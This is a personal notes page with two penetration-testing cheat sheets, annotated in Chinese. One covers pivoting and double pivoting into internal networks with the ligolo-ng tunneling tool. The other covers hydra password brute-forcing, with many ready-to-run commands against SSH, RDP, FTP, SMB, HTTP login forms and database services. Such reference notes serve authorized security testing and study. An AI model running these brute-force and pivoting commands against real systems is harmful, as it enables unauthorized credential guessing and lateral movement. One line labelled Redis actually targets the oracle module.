Notes Site.
post @ 2024-09-12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ligolo-ng » help
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/

Made in France ♥ by @Nicocha30!
Version: 0.6.2

Ligolo-ng - An advanced, yet simple tunneling tool

Commands:
=========
certificate_fingerprint Show the current selfcert fingerprint
clear clear the screen
connect_agent Attempt to connect to a bind agent
exit exit the shell
help use 'help [command]' for command help
ifconfig Show agent interfaces
session Change the current relay agent

Interfaces
==========
interface_create, ifcreate Create a new tuntap interface
interface_delete, ifdel Delete a tuntap interface
interface_list, iflist, route_list List available tun interfaces
route_add, add_route, interface_route_add, interface_add_route Add a route to a network interface
route_del, del_route, interface_route_del, interface_del_route Delete a route

Listeners
=========
listener_add Listen on the agent and redirect connections to the desired address
listener_list List currently running listeners
listener_stop Stop a listener

Tunneling
=========
tunnel_list List active tunnels
tunnel_start, start Start relaying connection to the current agent
tunnel_stop, stop Stop the tunnel

Environment

1
2
3
4
Attack Host: 172.16.2.2/16
Target Host1: 172.16.2.3/16 | 192.168.3.3/24
Target Host2: 192.168.3.4/24 | 192.168.4.4/24
...

Linux

Pivot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Attack Host
sudo ./proxy -selfcert [-laddr 0.0.0.0:11601]
ligolo-ng » ifcreate --name ligolo1

# Target Host1
./agent -connect 172.16.2.2:11601 -ignore-cert

# Attack Host ligolo-ng
ligolo-ng » INFO[0008] Agent joined ......
ligolo-ng » session
[Agent : SESSION] » start --tun ligolo1
[Agent : SESSION] » ifconfig # 查看 Target Interface

# Attack Host
sudo ip route add 192.168.3.0/24 dev ligolo1
# OR
[Agent : SESSION] » route_add --name ligolo1 --route 192.168.3.0/24

Double Pivot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Attack Host
# 添加 Interface
ligolo-ng » ifcreate --name ligolo2
# 添加监听器,将此 Agent:11601 端口的流量转发到 Proxy:11601 端口
[Agent : SESSION] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# Target Host2
./agent- connect 192.168.3.3:11601 -ignore-cert

# Attack Host ligolo-ng
[Agent : SESSION] » session # 切换会话
[Agent : SESSION-2] » start --tun ligolo2

# Attack Host
sudo ip route add 192.168.4.0/24 dev ligolo2
# OR
[Agent : SESSION] » route_add --name ligolo2 --route 192.168.4.0/24

Setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# listener 将此 Agent:2222 端口的流量转发到 Proxy:2222 端口
[Agent : SESSION] » listener_add --addr 0.0.0.0:2222 --to 127.0.0.1:2222 --tcp
# File Transfer or ...
$ python3 -m http.server 2222

# Bind Pivot Box
# 访问 240.0.0.1 可直接与绑定的 Pivot 交互
sudo ip route add 240.0.0.1/32 dev ligolo

# Delete Interface
ligolo-ng » interface_delete --name ligolo
#OR
sudo ip link delete ligolo
# OR
sudo ifconfig ligolo down
sudo ifconfig ligolo delete
Read More
post @ 2024-09-09
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Syntax: hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [service://server[:PORT][/OPT]|-M FILE]
service 指定服务名,支持的服务和协议
server 目标:DNS、IP或192.168.0.0/24(这个或-M选项)

Options:
-l LOGIN or -L FILE 使用指定登录名登录,或者使用文件加载多个登录名
-p PASS or -P FILE 使用指定密码登录,或者使用文件加载多个密码
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
-M FILE 要攻击的服务器列表,每行一个条目,':'指定端口
-R 恢复先前终止/崩溃的会话
-I 忽略现有的还原文件(不要等待10秒)
-S 执行SSL连接
-s PORT 如果服务在不同的默认端口上,则在这里定义它
-x MIN:MAX:CHARSET 密码暴力生成, 使用’-x -h‘获取帮助
-y 暴力破解时忽略符号
-e nsr 可选选项,n:空密码试探,s:使用指定用户和密码试探,或“r”反向登录
-u 循环用户,而不是密码(有效!用-x表示)
-o FILE 将找到的登录名/密码对写入FILE而不是输出
-b FORMAT 指定-o文件的格式:text(默认),json, jsonv1
-f / -F 当找到login/pass对时退出(-M: -f per host, -f global)
-t TASKS 同时运行的线程数,默认为16
-T TASKS 运行线程 (默认64)
-w / -W TIME 设置最大超时的时间,单位秒,默认是30s
-c TIME 所有线程上每次登录尝试的等待时间(强制执行-t 1)
-4 / -6 使用IPv4(默认)/ IPv6地址(将always放在[]中,也放在-M中)
-v / -V / -d 详细模式/每次尝试显示登录+通过/调试模式
-O 使用旧的SSL v2和v3
-K 不重做失败的尝试(适用于-M批量扫描)
-q 不打印有关连接错误的消息
-U 服务模块使用详情
-m OPT 选项特定于模块,请参见-U output获取信息
# OPT 一些服务模块支持额外输入(-U表示模块帮助)

# ftp
hydra -l user -P passlist.txt ftp://192.168.0.1

# ftp IP-segment
hydra -l admin -p password ftp://[192.168.0.0/24]/

# imap
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

# pop3
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

# ssh
hydra -L logins.txt -P pws.txt -M targets.txt ssh
服务 服务/协议 描述 示例命令
FTP 文件传输协议 (FTP) 用于强制获取 FTP 服务的登录凭据,通常用于通过网络传输文件。 hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
SSH 安全外壳 (SSH) 针对 SSH 服务进行暴力破解凭证,通常用于安全远程登录系统。 hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-post-fom HTTP Web 服务 用于通过 GET 或 POST 请求强制获取 HTTP Web 登录表单的登录凭据。 hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
smtp 简单邮件传输协议 通过暴力破解通常用于发送电子邮件的 SMTP 登录凭据来攻击电子邮件服务器。 hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
pop3 邮局协议 (POP3) 以电子邮件检索服务为目标,暴力破解 POP3 登录凭证。 hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com
imap 互联网消息访问协议 用于强制获取 IMAP 服务的凭证,从而允许用户远程访问他们的电子邮件。 hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com
mysql MySQL 数据库 尝试强制获取 MySQL 数据库的登录凭据。 hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
mssql 微软 SQL 服务器 以 Microsoft SQL 服务器为目标,暴力破解数据库登录凭据。 hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
vnc 虚拟网络计算 (VNC) 暴力破解 VNC 服务,用于远程桌面访问。 hydra -P /path/to/password_list.txt vnc://192.168.1.100
rdp 远程桌面协议 (RDP) 针对 Microsoft RDP 服务进行远程登录暴力破解。 hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 针对多个服务器
hydra -l root -p toor -M targets.txt ssh

# HTTP GET
hydra -L usernames.txt -P passwords.txt www.example.com http-get

# HTTP POST-Form
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
# F=Field 指示尝试失败
# S=302 指示登录成功
# 可以指定Respond包中的字符串

# 密码组合 密码策略由6到8个字符组成,包括小写字母、大写字母和数字
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100

# HTTP Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l basic-auth-user -P passwords.txt 10.10.10.10 -s 81 http-get /

# SSH
hydra -l admin -P /path/to/password_list.txt ssh://192.168.1.1
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt ssh://192.168.1.1

# FTP
hydra -l <username> -P <password_list> ftp://<target_ip>

# RDP
hydra -l administrator -P 密码字典 192.168.31.173 rdp

# SMB
hydra -l administrator -P 密码字典 192.168.31.173 smb

# POP3
hydra -l 用户名 -P 密码字典 192.168.31.173 pop3

# mssql
hydra -l sa -P 密码字典 192.168.31.173 mssql

# mysql
hydra -l 用户名 -P 密码字典 192.168.31.173 mysql

# Redis
hydra -l 用户名 -P 密码字典 192.168.31.173 oracle

# PgSQL
hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql

Read More
⬆︎TOP